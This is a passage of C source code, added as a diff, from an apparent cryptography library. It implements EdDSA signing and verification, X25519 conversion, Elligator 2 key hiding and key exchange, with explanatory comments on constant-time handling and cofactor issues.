{{-25154831,-4185821,29681144,7868801,-6854661, + -9423865,-12437364,-663000,-31111463,-16132436,}, + {25576264,-2703214,7349804,-11814844,16472782, + 9300885,3844789,15725684,171356,6466918,}, + {23103977,13316479,9739013,-16149481,817875, + -15038942,8965339,-14088058,-30714912,16193877,},}, + {{-33521811,3180713,-2394130,14003687,-16903474, + -16270840,17238398,4729455,-18074513,9256800,}, + {-25182317,-4174131,32336398,5036987,-21236817, + 11360617,22616405,9761698,-19827198,630305,}, + {-13720693,2639453,-24237460,-7406481,9494427, + -5774029,-6554551,-15960994,-2449256,-14291300,},}, + {{-3151181,-5046075,9282714,6866145,-31907062, + -863023,-18940575,15033784,25105118,-7894876,}, + {-24326370,15950226,-31801215,-14592823,-11662737, + -5090925,1573892,-2625887,2198790,-15804619,}, + {-3099351,10324967,-2241613,7453183,-5446979, + -2735503,-13812022,-16236442,-32461234,-12290683,},}, +}; + +// Incremental sliding windows (left to right) +// Based on Roberto Maria Avanzi[2005] +typedef struct { + i16 next_index; // position of the next signed digit + i8 next_digit; // next signed digit (odd number below 2^window_width) + u8 next_check; // point at which we must check for a new window +} slide_ctx; + +static void slide_init(slide_ctx *ctx, const u8 scalar[32]) +{ + // scalar is guaranteed to be below L, either because we checked (s), + // or because we reduced it modulo L (h_ram). L is under 2^253, so + // so bits 253 to 255 are guaranteed to be zero. No need to test them. + // + // Note however that L is very close to 2^252, so bit 252 is almost + // always zero. If we were to start at bit 251, the tests wouldn't + // catch the off-by-one error (constructing one that does would be + // prohibitively expensive). + // + // We should still check bit 252, though. + int i = 252; + while (i > 0 && scalar_bit(scalar, i) == 0) { + i--; + } + ctx->next_check = (u8)(i + 1); + ctx->next_index = -1; + ctx->next_digit = -1; +} + +static int slide_step(slide_ctx *ctx, int width, int i, const u8 scalar[32]) +{ + if (i == ctx->next_check) { + if (scalar_bit(scalar, i) == scalar_bit(scalar, i - 1)) { + ctx->next_check--; + } else { + // compute digit of next window + int w = MIN(width, i + 1); + int v = -(scalar_bit(scalar, i) << (w-1)); + FOR_T (int, j, 0, w-1) { + v += scalar_bit(scalar, i-(w-1)+j) << j; + } + v += scalar_bit(scalar, i-w); + int lsb = v & (~v + 1); // smallest bit of v + int s = ( ((lsb & 0xAA) != 0) // log2(lsb) + | (((lsb & 0xCC) != 0) << 1) + | (((lsb & 0xF0) != 0) << 2)); + ctx->next_index = (i16)(i-(w-1)+s); + ctx->next_digit = (i8) (v >> s ); + ctx->next_check -= (u8) w; + } + } + return i == ctx->next_index ? ctx->next_digit: 0; +} + +#define P_W_WIDTH 3 // Affects the size of the stack +#define B_W_WIDTH 5 // Affects the size of the binary +#define P_W_SIZE (1<<(P_W_WIDTH-2)) + +// P = [b]B + [p]P, where B is the base point +// +// Variable time! Internal buffers are not wiped! Inputs must not be secret! +// => Use only to *check* signatures. +static void ge_double_scalarmult_vartime(ge *P, const u8 p[32], const u8 b[32]) +{ + // cache P window for addition + ge_cached cP[P_W_SIZE]; + { + ge P2, tmp; + ge_double(&P2, P, &tmp); + ge_cache(&cP[0], P); + FOR (i, 1, P_W_SIZE) { + ge_add(&tmp, &P2, &cP[i-1]); + ge_cache(&cP[i], &tmp); + } + } + + // Merged double and add ladder, fused with sliding + slide_ctx p_slide; slide_init(&p_slide, p); + slide_ctx b_slide; slide_init(&b_slide, b); + int i = MAX(p_slide.next_check, b_slide.next_check); + ge *sum = P; + ge_zero(sum); + while (i >= 0) { + ge tmp; + ge_double(sum, sum, &tmp); + int p_digit = slide_step(&p_slide, P_W_WIDTH, i, p); + int b_digit = slide_step(&b_slide, B_W_WIDTH, i, b); + if (p_digit > 0) { ge_add(sum, sum, &cP[ p_digit / 2]); } + if (p_digit < 0) { ge_sub(sum, sum, &cP[-p_digit / 2]); } + fe t1, t2; + if (b_digit > 0) { ge_madd(sum, sum, b_window + b_digit/2, t1, t2); } + if (b_digit < 0) { ge_msub(sum, sum, b_window + -b_digit/2, t1, t2); } + i--; + } +} + +// 5-bit signed comb in cached format (Niels coordinates, Z=1) +static const ge_precomp b_comb_low[8] = { + {{-6816601,-2324159,-22559413,124364,18015490, + 8373481,19993724,1979872,-18549925,9085059,}, + {10306321,403248,14839893,9633706,8463310, + -8354981,-14305673,14668847,26301366,2818560,}, + {-22701500,-3210264,-13831292,-2927732,-16326337, + -14016360,12940910,177905,12165515,-2397893,},}, + {{-12282262,-7022066,9920413,-3064358,-32147467, + 2927790,22392436,-14852487,2719975,16402117,}, + {-7236961,-4729776,2685954,-6525055,-24242706, + -15940211,-6238521,14082855,10047669,12228189,}, + {-30495588,-12893761,-11161261,3539405,-11502464, + 16491580,-27286798,-15030530,-7272871,-15934455,},}, + {{17650926,582297,-860412,-187745,-12072900, + -10683391,-20352381,15557840,-31072141,-5019061,}, + {-6283632,-2259834,-4674247,-4598977,-4089240, + 12435688,-31278303,1060251,6256175,10480726,}, + {-13871026,2026300,-21928428,-2741605,-2406664, + -8034988,7355518,15733500,-23379862,7489131,},}, + {{6883359,695140,23196907,9644202,-33430614, + 11354760,-20134606,6388313,-8263585,-8491918,}, + {-7716174,-13605463,-13646110,14757414,-19430591, + -14967316,10359532,-11059670,-21935259,12082603,}, + {-11253345,-15943946,10046784,5414629,24840771, + 8086951,-6694742,9868723,15842692,-16224787,},}, + {{9639399,11810955,-24007778,-9320054,3912937, + -9856959,996125,-8727907,-8919186,-14097242,}, + {7248867,14468564,25228636,-8795035,14346339, + 8224790,6388427,-7181107,6468218,-8720783,}, + {15513115,15439095,7342322,-10157390,18005294, + -7265713,2186239,4884640,10826567,7135781,},}, + {{-14204238,5297536,-5862318,-6004934,28095835, + 4236101,-14203318,1958636,-16816875,3837147,}, + {-5511166,-13176782,-29588215,12339465,15325758, + -15945770,-8813185,11075932,-19608050,-3776283,}, + {11728032,9603156,-4637821,-5304487,-7827751, + 2724948,31236191,-16760175,-7268616,14799772,},}, + {{-28842672,4840636,-12047946,-9101456,-1445464, + 381905,-30977094,-16523389,1290540,12798615,}, + {27246947,-10320914,14792098,-14518944,5302070, + -8746152,-3403974,-4149637,-27061213,10749585,}, + {25572375,-6270368,-15353037,16037944,1146292, + 32198,23487090,9585613,24714571,-1418265,},}, + {{19844825,282124,-17583147,11004019,-32004269, + -2716035,6105106,-1711007,-21010044,14338445,}, + {8027505,8191102,-18504907,-12335737,25173494, + -5923905,15446145,7483684,-30440441,10009108,}, + {-14134701,-4174411,10246585,-14677495,33553567, + -14012935,23366126,15080531,-7969992,7663473,},}, +}; + +static const ge_precomp b_comb_high[8] = { + {{33055887,-4431773,-521787,6654165,951411, + -6266464,-5158124,6995613,-5397442,-6985227,}, + {4014062,6967095,-11977872,3960002,8001989, + 5130302,-2154812,-1899602,-31954493,-16173976,}, + {16271757,-9212948,23792794,731486,-25808309, + -3546396,6964344,-4767590,10976593,10050757,},}, + {{2533007,-4288439,-24467768,-12387405,-13450051, + 14542280,12876301,13893535,15067764,8594792,}, + {20073501,-11623621,3165391,-13119866,13188608, + -11540496,-10751437,-13482671,29588810,2197295,}, + {-1084082,11831693,6031797,14062724,14748428, + -8159962,-20721760,11742548,31368706,13161200,},}, + {{2050412,-6457589,15321215,5273360,25484180, + 124590,-18187548,-7097255,-6691621,-14604792,}, + {9938196,2162889,-6158074,-1711248,4278932, + -2598531,-22865792,-7168500,-24323168,11746309,}, + {-22691768,-14268164,5965485,9383325,20443693, + 5854192,28250679,-1381811,-10837134,13717818,},}, + {{-8495530,16382250,9548884,-4971523,-4491811, + -3902147,6182256,-12832479,26628081,10395408,}, + {27329048,-15853735,7715764,8717446,-9215518, + -14633480,28982250,-5668414,4227628,242148,}, + {-13279943,-7986904,-7100016,8764468,-27276630, + 3096719,29678419,-9141299,3906709,11265498,},}, + {{11918285,15686328,-17757323,-11217300,-27548967, + 4853165,-27168827,6807359,6871949,-1075745,}, + {-29002610,13984323,-27111812,-2713442,28107359, + -13266203,6155126,15104658,3538727,-7513788,}, + {14103158,11233913,-33165269,9279850,31014152, + 4335090,-1827936,4590951,13960841,12787712,},}, + {{1469134,-16738009,33411928,13942824,8092558, + -8778224,-11165065,1437842,22521552,-2792954,}, + {31352705,-4807352,-25327300,3962447,12541566, + -9399651,-27425693,7964818,-23829869,5541287,}, + {-25732021,-6864887,23848984,3039395,-9147354, + 6022816,-27421653,10590137,25309915,-1584678,},}, + {{-22951376,5048948,31139401,-190316,-19542447, + -626310,-17486305,-16511925,-18851313,-12985140,}, + {-9684890,14681754,30487568,7717771,-10829709, + 9630497,30290549,-10531496,-27798994,-13812825,}, + {5827835,16097107,-24501327,12094619,7413972, + 11447087,28057551,-1793987,-14056981,4359312,},}, + {{26323183,2342588,-21887793,-1623758,-6062284, + 2107090,-28724907,9036464,-19618351,-13055189,}, + {-29697200,14829398,-4596333,14220089,-30022969, + 2955645,12094100,-13693652,-5941445,7047569,}, + {-3201977,14413268,-12058324,-16417589,-9035655, + -7224648,9258160,1399236,30397584,-5684634,},}, +}; + +static void lookup_add(ge *p, ge_precomp *tmp_c, fe tmp_a, fe tmp_b, + const ge_precomp comb[8], const u8 scalar[32], int i) +{ + u8 teeth = (u8)((scalar_bit(scalar, i) ) + + (scalar_bit(scalar, i + 32) << 1) + + (scalar_bit(scalar, i + 64) << 2) + + (scalar_bit(scalar, i + 96) << 3)); + u8 high = teeth >> 3; + u8 index = (teeth ^ (high - 1)) & 7; + FOR (j, 0, 8) { + i32 select = 1 & (((j ^ index) - 1) >> 8); + fe_ccopy(tmp_c->Yp, comb[j].Yp, select); + fe_ccopy(tmp_c->Ym, comb[j].Ym, select); + fe_ccopy(tmp_c->T2, comb[j].T2, select); + } + fe_neg(tmp_a, tmp_c->T2); + fe_cswap(tmp_c->T2, tmp_a , high ^ 1); + fe_cswap(tmp_c->Yp, tmp_c->Ym, high ^ 1); + ge_madd(p, p, tmp_c, tmp_a, tmp_b); +} + +// p = [scalar]B, where B is the base point +static void ge_scalarmult_base(ge *p, const u8 scalar[32]) +{ + // twin 4-bits signed combs, from Mike Hamburg's + // Fast and compact elliptic-curve cryptography (2012) + // 1 / 2 modulo L + static const u8 half_mod_L[32] = { + 247,233,122,46,141,49,9,44,107,206,123,81,239,124,111,10, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8, }; + // (2^256 - 1) / 2 modulo L + static const u8 half_ones[32] = { + 142,74,204,70,186,24,118,107,184,231,190,57,250,173,119,99, + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,7, }; + + // All bits set form: 1 means 1, 0 means -1 + u8 s_scalar[32]; + mul_add(s_scalar, scalar, half_mod_L, half_ones); + + // Double and add ladder + fe tmp_a, tmp_b; // temporaries for addition + ge_precomp tmp_c; // temporary for comb lookup + ge tmp_d; // temporary for doubling + fe_1(tmp_c.Yp); + fe_1(tmp_c.Ym); + fe_0(tmp_c.T2); + + // Save a double on the first iteration + ge_zero(p); + lookup_add(p, &tmp_c, tmp_a, tmp_b, b_comb_low , s_scalar, 31); + lookup_add(p, &tmp_c, tmp_a, tmp_b, b_comb_high, s_scalar, 31+128); + // Regular double & add for the rest + for (int i = 30; i >= 0; i--) { + ge_double(p, p, &tmp_d); + lookup_add(p, &tmp_c, tmp_a, tmp_b, b_comb_low , s_scalar, i); + lookup_add(p, &tmp_c, tmp_a, tmp_b, b_comb_high, s_scalar, i+128); + } + // Note: we could save one addition at the end if we assumed the + // scalar fit in 252 bits. Which it does in practice if it is + // selected at random. However, non-random, non-hashed scalars + // *can* overflow 252 bits in practice. Better account for that + // than leaving that kind of subtle corner case. + + WIPE_BUFFER(tmp_a); WIPE_CTX(&tmp_d); + WIPE_BUFFER(tmp_b); WIPE_CTX(&tmp_c); + WIPE_BUFFER(s_scalar); +} + +void crypto_sign_public_key_custom_hash(u8 public_key[32], + const u8 secret_key[32], + const crypto_sign_vtable *hash) +{ + u8 a[64]; + hash->hash(a, secret_key, 32); + trim_scalar(a); + ge A; + ge_scalarmult_base(&A, a); + ge_tobytes(public_key, &A); + WIPE_BUFFER(a); + WIPE_CTX(&A); +} + +void crypto_sign_public_key(u8 public_key[32], const u8 secret_key[32]) +{ + crypto_sign_public_key_custom_hash(public_key, secret_key, + &crypto_blake2b_vtable); +} + +void crypto_sign_init_first_pass_custom_hash(crypto_sign_ctx_abstract *ctx, + const u8 secret_key[32], + const u8 public_key[32], + const crypto_sign_vtable *hash) +{ + ctx->hash = hash; // set vtable + u8 *a = ctx->buf; + u8 *prefix = ctx->buf + 32; + ctx->hash->hash(a, secret_key, 32); + trim_scalar(a); + + if (public_key == 0) { + crypto_sign_public_key_custom_hash(ctx->pk, secret_key, ctx->hash); + } else { + COPY(ctx->pk, public_key, 32); + } + + // Deterministic part of EdDSA: Construct a nonce by hashing the message + // instead of generating a random number. + // An actual random number would work just fine, and would save us + // the trouble of hashing the message twice. If we did that + // however, the user could fuck it up and reuse the nonce. + ctx->hash->init (ctx); + ctx->hash->update(ctx, prefix , 32); +} + +void crypto_sign_init_first_pass(crypto_sign_ctx_abstract *ctx, + const u8 secret_key[32], + const u8 public_key[32]) +{ + crypto_sign_init_first_pass_custom_hash(ctx, secret_key, public_key, + &crypto_blake2b_vtable); +} + +void crypto_sign_update(crypto_sign_ctx_abstract *ctx, + const u8 *msg, size_t msg_size) +{ + ctx->hash->update(ctx, msg, msg_size); +} + +void crypto_sign_init_second_pass(crypto_sign_ctx_abstract *ctx) +{ + u8 *r = ctx->buf + 32; + u8 *half_sig = ctx->buf + 64; + ctx->hash->final(ctx, r); + reduce(r); + + // first half of the signature = "random" nonce times the base point + ge R; + ge_scalarmult_base(&R, r); + ge_tobytes(half_sig, &R); + WIPE_CTX(&R); + + // Hash R, the public key, and the message together. + // It cannot be done in parallel with the first hash. + ctx->hash->init (ctx); + ctx->hash->update(ctx, half_sig, 32); + ctx->hash->update(ctx, ctx->pk , 32); +} + +void crypto_sign_final(crypto_sign_ctx_abstract *ctx, u8 signature[64]) +{ + u8 *a = ctx->buf; + u8 *r = ctx->buf + 32; + u8 *half_sig = ctx->buf + 64; + u8 h_ram[64]; + ctx->hash->final(ctx, h_ram); + reduce(h_ram); + COPY(signature, half_sig, 32); + mul_add(signature + 32, h_ram, a, r); // s = h_ram * a + r + WIPE_BUFFER(h_ram); + crypto_wipe(ctx, ctx->hash->ctx_size); +} + +void crypto_sign(u8 signature[64], + const u8 secret_key[32], + const u8 public_key[32], + const u8 *message, size_t message_size) +{ + crypto_sign_ctx ctx; + crypto_sign_ctx_abstract *actx = (crypto_sign_ctx_abstract*)&ctx; + crypto_sign_init_first_pass (actx, secret_key, public_key); + crypto_sign_update (actx, message, message_size); + crypto_sign_init_second_pass(actx); + crypto_sign_update (actx, message, message_size); + crypto_sign_final (actx, signature); +} + +void crypto_check_init_custom_hash(crypto_check_ctx_abstract *ctx, + const u8 signature[64], + const u8 public_key[32], + const crypto_sign_vtable *hash) +{ + ctx->hash = hash; // set vtable + COPY(ctx->buf, signature , 64); + COPY(ctx->pk , public_key, 32); + ctx->hash->init (ctx); + ctx->hash->update(ctx, signature , 32); + ctx->hash->update(ctx, public_key, 32); +} + +void crypto_check_init(crypto_check_ctx_abstract *ctx, const u8 signature[64], + const u8 public_key[32]) +{ + crypto_check_init_custom_hash(ctx, signature, public_key, + &crypto_blake2b_vtable); +} + +void crypto_check_update(crypto_check_ctx_abstract *ctx, + const u8 *msg, size_t msg_size) +{ + ctx->hash->update(ctx, msg, msg_size); +} + +int crypto_check_final(crypto_check_ctx_abstract *ctx) +{ + u8 *s = ctx->buf + 32; // s + u8 h_ram[64]; + u32 s32[8]; // s (different encoding) + ge A; + + ctx->hash->final(ctx, h_ram); + reduce(h_ram); + load32_le_buf(s32, s, 8); + if (ge_frombytes_neg_vartime(&A, ctx->pk) || // A = -pk + is_above_l(s32)) { // prevent s malleability + return -1; + } + ge_double_scalarmult_vartime(&A, h_ram, s); // A = [s]B - [h_ram]pk + ge_tobytes(ctx->pk, &A); // R_check = A + return crypto_verify32(ctx->buf, ctx->pk); // R == R_check ? OK : fail +} + +int crypto_check(const u8 signature[64], const u8 public_key[32], + const u8 *message, size_t message_size) +{ + crypto_check_ctx ctx; + crypto_check_ctx_abstract *actx = (crypto_check_ctx_abstract*)&ctx; + crypto_check_init (actx, signature, public_key); + crypto_check_update(actx, message, message_size); + return crypto_check_final(actx); +} + +/////////////////////// +/// EdDSA to X25519 /// +/////////////////////// +void crypto_from_eddsa_private(u8 x25519[32], const u8 eddsa[32]) +{ + u8 a[64]; + crypto_blake2b(a, eddsa, 32); + COPY(x25519, a, 32); + WIPE_BUFFER(a); +} + +void crypto_from_eddsa_public(u8 x25519[32], const u8 eddsa[32]) +{ + fe t1, t2; + fe_frombytes(t2, eddsa); + fe_add(t1, fe_one, t2); + fe_sub(t2, fe_one, t2); + fe_invert(t2, t2); + fe_mul(t1, t1, t2); + fe_tobytes(x25519, t1); + WIPE_BUFFER(t1); + WIPE_BUFFER(t2); +} + +///////////////////////////////////////////// +/// Dirty ephemeral public key generation /// +///////////////////////////////////////////// + +// Those functions generates a public key, *without* clearing the +// cofactor. Sending that key over the network leaks 3 bits of the +// private key. Use only to generate ephemeral keys that will be hidden +// with crypto_curve_to_hidden(). +// +// The public key is otherwise compatible with crypto_x25519() and +// crypto_key_exchange() (those properly clear the cofactor). +// +// Note that the distribution of the resulting public keys is almost +// uniform. Flipping the sign of the v coordinate (not provided by this +// function), covers the entire key space almost perfectly, where +// "almost" means a 2^-128 bias (undetectable). This uniformity is +// needed to ensure the proper randomness of the resulting +// representatives (once we apply crypto_curve_to_hidden()). +// +// Recall that Curve25519 has order C = 2^255 + e, with e < 2^128 (not +// to be confused with the prime order of the main subgroup, L, which is +// 8 times less than that). +// +// Generating all points would require us to multiply a point of order C +// (the base point plus any point of order 8) by all scalars from 0 to +// C-1. Clamping limits us to scalars between 2^254 and 2^255 - 1. But +// by negating the resulting point at random, we also cover scalars from +// -2^255 + 1 to -2^254 (which modulo C is congruent to e+1 to 2^254 + e). +// +// In practice: +// - Scalars from 0 to e + 1 are never generated +// - Scalars from 2^255 to 2^255 + e are never generated +// - Scalars from 2^254 + 1 to 2^254 + e are generated twice +// +// Since e < 2^128, detecting this bias requires observing over 2^100 +// representatives from a given source (this will never happen), *and* +// recovering enough of the private key to determine that they do, or do +// not, belong to the biased set (this practically requires solving +// discrete logarithm, which is conjecturally intractable). +// +// In practice, this means the bias is impossible to detect. + +// s + (x*L) % 8*L +// Guaranteed to fit in 256 bits iff s fits in 255 bits. +// L < 2^253 +// x%8 < 2^3 +// L * (x%8) < 2^255 +// s < 2^255 +// s + L * (x%8) < 2^256 +static void add_xl(u8 s[32], u8 x) +{ + u64 mod8 = x & 7; + u64 carry = 0; + FOR (i , 0, 8) { + carry = carry + load32_le(s + 4*i) + L[i] * mod8; + store32_le(s + 4*i, (u32)carry); + carry >>= 32; + } +} + +// "Small" dirty ephemeral key. +// Use if you need to shrink the size of the binary, and can afford to +// slow down by a factor of two (compared to the fast version) +// +// This version works by decoupling the cofactor from the main factor. +// +// - The trimmed scalar determines the main factor +// - The clamped bits of the scalar determine the cofactor. +// +// Cofactor and main factor are combined into a single scalar, which is +// then multiplied by a point of order 8*L (unlike the base point, which +// has prime order). That "dirty" base point is the addition of the +// regular base point (9), and a point of order 8. +void crypto_x25519_dirty_small(u8 public_key[32], const u8 secret_key[32]) +{ + // Base point of order 8*L + // Raw scalar multiplication with it does not clear the cofactor, + // and the resulting public key will reveal 3 bits of the scalar. + // + // The low order component of this base point has been chosen + // to yield the same results as crypto_x25519_dirty_fast(). + static const u8 dirty_base_point[32] = { + 0xd8, 0x86, 0x1a, 0xa2, 0x78, 0x7a, 0xd9, 0x26, 0x8b, 0x74, 0x74, 0xb6, + 0x82, 0xe3, 0xbe, 0xc3, 0xce, 0x36, 0x9a, 0x1e, 0x5e, 0x31, 0x47, 0xa2, + 0x6d, 0x37, 0x7c, 0xfd, 0x20, 0xb5, 0xdf, 0x75, + }; + // separate the main factor & the cofactor of the scalar + u8 scalar[32]; + COPY(scalar, secret_key, 32); + trim_scalar(scalar); + + // Separate the main factor and the cofactor + // + // The scalar is trimmed, so its cofactor is cleared. The three + // least significant bits however still have a main factor. We must + // remove it for X25519 compatibility. + // + // cofactor = lsb * L (modulo 8*L) + // combined = scalar + cofactor (modulo 8*L) + add_xl(scalar, secret_key[0]); + scalarmult(public_key, scalar, dirty_base_point, 256); + WIPE_BUFFER(scalar); +} + +// Select low order point +// We're computing the [cofactor]lop scalar multiplication, where: +// +// cofactor = tweak & 7. +// lop = (lop_x, lop_y) +// lop_x = sqrt((sqrt(d + 1) + 1) / d) +// lop_y = -lop_x * sqrtm1 +// +// The low order point has order 8. There are 4 such points. We've +// chosen the one whose both coordinates are positive (below p/2). +// The 8 low order points are as follows: +// +// [0]lop = ( 0 , 1 ) +// [1]lop = ( lop_x , lop_y) +// [2]lop = ( sqrt(-1), -0 ) +// [3]lop = ( lop_x , -lop_y) +// [4]lop = (-0 , -1 ) +// [5]lop = (-lop_x , -lop_y) +// [6]lop = (-sqrt(-1), 0 ) +// [7]lop = (-lop_x , lop_y) +// +// The x coordinate is either 0, sqrt(-1), lop_x, or their opposite. +// The y coordinate is either 0, -1 , lop_y, or their opposite. +// The pattern for both is the same, except for a rotation of 2 (modulo 8) +// +// This helper function captures the pattern, and we can use it thus: +// +// select_lop(x, lop_x, sqrtm1, cofactor); +// select_lop(y, lop_y, fe_one, cofactor + 2); +// +// This is faster than an actual scalar multiplication, +// and requires less code than naive constant time look up. +static void select_lop(fe out, const fe x, const fe k, u8 cofactor) +{ + fe tmp; + fe_0(out); + fe_ccopy(out, k , (cofactor >> 1) & 1); // bit 1 + fe_ccopy(out, x , (cofactor >> 0) & 1); // bit 0 + fe_neg (tmp, out); + fe_ccopy(out, tmp, (cofactor >> 2) & 1); // bit 2 + WIPE_BUFFER(tmp); +} + +// "Fast" dirty ephemeral key +// We use this one by default. +// +// This version works by performing a regular scalar multiplication, +// then add a low order point. The scalar multiplication is done in +// Edwards space for more speed (*2 compared to the "small" version). +// The cost is a bigger binary for programs that don't also sign messages. +void crypto_x25519_dirty_fast(u8 public_key[32], const u8 secret_key[32]) +{ + // Compute clean scalar multiplication + u8 scalar[32]; + ge pk; + COPY(scalar, secret_key, 32); + trim_scalar(scalar); + ge_scalarmult_base(&pk, scalar); + + // Compute low order point + fe t1, t2; + select_lop(t1, lop_x, sqrtm1, secret_key[0]); + select_lop(t2, lop_y, fe_one, secret_key[0] + 2); + ge_precomp low_order_point; + fe_add(low_order_point.Yp, t2, t1); + fe_sub(low_order_point.Ym, t2, t1); + fe_mul(low_order_point.T2, t2, t1); + fe_mul(low_order_point.T2, low_order_point.T2, D2); + + // Add low order point to the public key + ge_madd(&pk, &pk, &low_order_point, t1, t2); + + // Convert to Montgomery u coordinate (we ignore the sign) + fe_add(t1, pk.Z, pk.Y); + fe_sub(t2, pk.Z, pk.Y); + fe_invert(t2, t2); + fe_mul(t1, t1, t2); + + fe_tobytes(public_key, t1); + + WIPE_BUFFER(t1); WIPE_CTX(&pk); + WIPE_BUFFER(t2); WIPE_CTX(&low_order_point); + WIPE_BUFFER(scalar); +} + +/////////////////// +/// Elligator 2 /// +/////////////////// +static const fe A = {486662}; + +// Elligator direct map +// +// Computes the point corresponding to a representative, encoded in 32 +// bytes (little Endian). Since positive representatives fits in 254 +// bits, The two most significant bits are ignored. +// +// From the paper: +// w = -A / (fe(1) + non_square * r^2) +// e = chi(w^3 + A*w^2 + w) +// u = e*w - (fe(1)-e)*(A//2) +// v = -e * sqrt(u^3 + A*u^2 + u) +// +// We ignore v because we don't need it for X25519 (the Montgomery +// ladder only uses u). +// +// Note that e is either 0, 1 or -1 +// if e = 0 u = 0 and v = 0 +// if e = 1 u = w +// if e = -1 u = -w - A = w * non_square * r^2 +// +// Let r1 = non_square * r^2 +// Let r2 = 1 + r1 +// Note that r2 cannot be zero, -1/non_square is not a square. +// We can (tediously) verify that: +// w^3 + A*w^2 + w = (A^2*r1 - r2^2) * A / r2^3 +// Therefore: +// chi(w^3 + A*w^2 + w) = chi((A^2*r1 - r2^2) * (A / r2^3)) +// chi(w^3 + A*w^2 + w) = chi((A^2*r1 - r2^2) * (A / r2^3)) * 1 +// chi(w^3 + A*w^2 + w) = chi((A^2*r1 - r2^2) * (A / r2^3)) * chi(r2^6) +// chi(w^3 + A*w^2 + w) = chi((A^2*r1 - r2^2) * (A / r2^3) * r2^6) +// chi(w^3 + A*w^2 + w) = chi((A^2*r1 - r2^2) * A * r2^3) +// Corollary: +// e = 1 if (A^2*r1 - r2^2) * A * r2^3) is a non-zero square +// e = -1 if (A^2*r1 - r2^2) * A * r2^3) is not a square +// Note that w^3 + A*w^2 + w (and therefore e) can never be zero: +// w^3 + A*w^2 + w = w * (w^2 + A*w + 1) +// w^3 + A*w^2 + w = w * (w^2 + A*w + A^2/4 - A^2/4 + 1) +// w^3 + A*w^2 + w = w * (w + A/2)^2 - A^2/4 + 1) +// which is zero only if: +// w = 0 (impossible) +// (w + A/2)^2 = A^2/4 - 1 (impossible, because A^2/4-1 is not a square) +// +// Let isr = invsqrt((A^2*r1 - r2^2) * A * r2^3) +// isr = sqrt(1 / ((A^2*r1 - r2^2) * A * r2^3)) if e = 1 +// isr = sqrt(sqrt(-1) / ((A^2*r1 - r2^2) * A * r2^3)) if e = -1 +// +// if e = 1 +// let u1 = -A * (A^2*r1 - r2^2) * A * r2^2 * isr^2 +// u1 = w +// u1 = u +// +// if e = -1 +// let ufactor = -non_square * sqrt(-1) * r^2 +// let vfactor = sqrt(ufactor) +// let u2 = -A * (A^2*r1 - r2^2) * A * r2^2 * isr^2 * ufactor +// u2 = w * -1 * -non_square * r^2 +// u2 = w * non_square * r^2 +// u2 = u +void crypto_hidden_to_curve(uint8_t curve[32], const uint8_t hidden[32]) +{ + fe r, u, t1, t2, t3; + fe_frombytes_mask(r, hidden, 2); // r is encoded in 254 bits. + fe_sq(r, r); + fe_add(t1, r, r); + fe_add(u, t1, fe_one); + fe_sq (t2, u); + fe_mul(t3, A2, t1); + fe_sub(t3, t3, t2); + fe_mul(t3, t3, A); + fe_mul(t1, t2, u); + fe_mul(t1, t3, t1); + int is_square = invsqrt(t1, t1); + fe_mul(u, r, ufactor); + fe_ccopy(u, fe_one, is_square); + fe_sq (t1, t1); + fe_mul(u, u, A); + fe_mul(u, u, t3); + fe_mul(u, u, t2); + fe_mul(u, u, t1); + fe_neg(u, u); + fe_tobytes(curve, u); + + WIPE_BUFFER(t1); WIPE_BUFFER(r); + WIPE_BUFFER(t2); WIPE_BUFFER(u); + WIPE_BUFFER(t3); +} + +// Elligator inverse map +// +// Computes the representative of a point, if possible. If not, it does +// nothing and returns -1. Note that the success of the operation +// depends only on the point (more precisely its u coordinate). The +// tweak parameter is used only upon success +// +// The tweak should be a random byte. Beyond that, its contents are an +// implementation detail. Currently, the tweak comprises: +// - Bit 1 : sign of the v coordinate (0 if positive, 1 if negative) +// - Bit 2-5: not used +// - Bits 6-7: random padding +// +// From the paper: +// Let sq = -non_square * u * (u+A) +// if sq is not a square, or u = -A, there is no mapping +// Assuming there is a mapping: +// if v is positive: r = sqrt(-u / (non_square * (u+A))) +// if v is negative: r = sqrt(-(u+A) / (non_square * u )) +// +// We compute isr = invsqrt(-non_square * u * (u+A)) +// if it wasn't a square, abort. +// else, isr = sqrt(-1 / (non_square * u * (u+A)) +// +// If v is positive, we return isr * u: +// isr * u = sqrt(-1 / (non_square * u * (u+A)) * u +// isr * u = sqrt(-u / (non_square * (u+A)) +// +// If v is negative, we return isr * (u+A): +// isr * (u+A) = sqrt(-1 / (non_square * u * (u+A)) * (u+A) +// isr * (u+A) = sqrt(-(u+A) / (non_square * u) +int crypto_curve_to_hidden(u8 hidden[32], const u8 public_key[32], u8 tweak) +{ + fe t1, t2, t3; + fe_frombytes(t1, public_key); // t1 = u + + fe_add(t2, t1, A); // t2 = u + A + fe_mul(t3, t1, t2); + fe_mul_small(t3, t3, -2); + int is_square = invsqrt(t3, t3); // t3 = sqrt(-1 / non_square * u * (u+A)) + if (is_square) { + // The only variable time bit. This ultimately reveals how many + // tries it took us to find a representable key. + // This does not affect security as long as we try keys at random. + + fe_ccopy (t1, t2, tweak & 1); // multiply by u if v is positive, + fe_mul (t3, t1, t3); // multiply by u+A otherwise + fe_mul_small(t1, t3, 2); + fe_neg (t2, t3); + fe_ccopy (t3, t2, fe_isodd(t1)); + fe_tobytes(hidden, t3); + + // Pad with two random bits + hidden[31] |= tweak & 0xc0; + } + + WIPE_BUFFER(t1); + WIPE_BUFFER(t2); + WIPE_BUFFER(t3); + return is_square - 1; +} + +void crypto_hidden_key_pair(u8 hidden[32], u8 secret_key[32], u8 seed[32]) +{ + u8 pk [32]; // public key + u8 buf[64]; // seed + representative + COPY(buf + 32, seed, 32); + do { + crypto_chacha20(buf, 0, 64, buf+32, zero); + crypto_x25519_dirty_fast(pk, buf); // or the "small" version + } while(crypto_curve_to_hidden(buf+32, pk, buf[32])); + // Note that the return value of crypto_curve_to_hidden() is + // independent from its tweak parameter. + // Therefore, buf[32] is not actually reused. Either we loop one + // more time and buf[32] is used for the new seed, or we succeeded, + // and buf[32] becomes the tweak parameter. + + crypto_wipe(seed, 32); + COPY(hidden , buf + 32, 32); + COPY(secret_key, buf , 32); + WIPE_BUFFER(buf); + WIPE_BUFFER(pk); +} + +//////////////////// +/// Key exchange /// +//////////////////// +void crypto_key_exchange(u8 shared_key[32], + const u8 your_secret_key [32], + const u8 their_public_key[32]) +{ + crypto_x25519(shared_key, your_secret_key, their_public_key); + crypto_hchacha20(shared_key, shared_key, zero); +} + +/////////////////////// +/// Scalar division /// +/////////////////////// + +// Montgomery reduction. +// Divides x by 